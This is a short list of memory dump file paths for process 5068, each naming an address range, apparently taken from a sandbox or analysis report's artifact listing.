memory/5068-237-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
memory/5068-187-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
memory/5068-181-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
memory/5068-186-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/5068-184-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
memory/5068-189-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
memory/5068-183-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp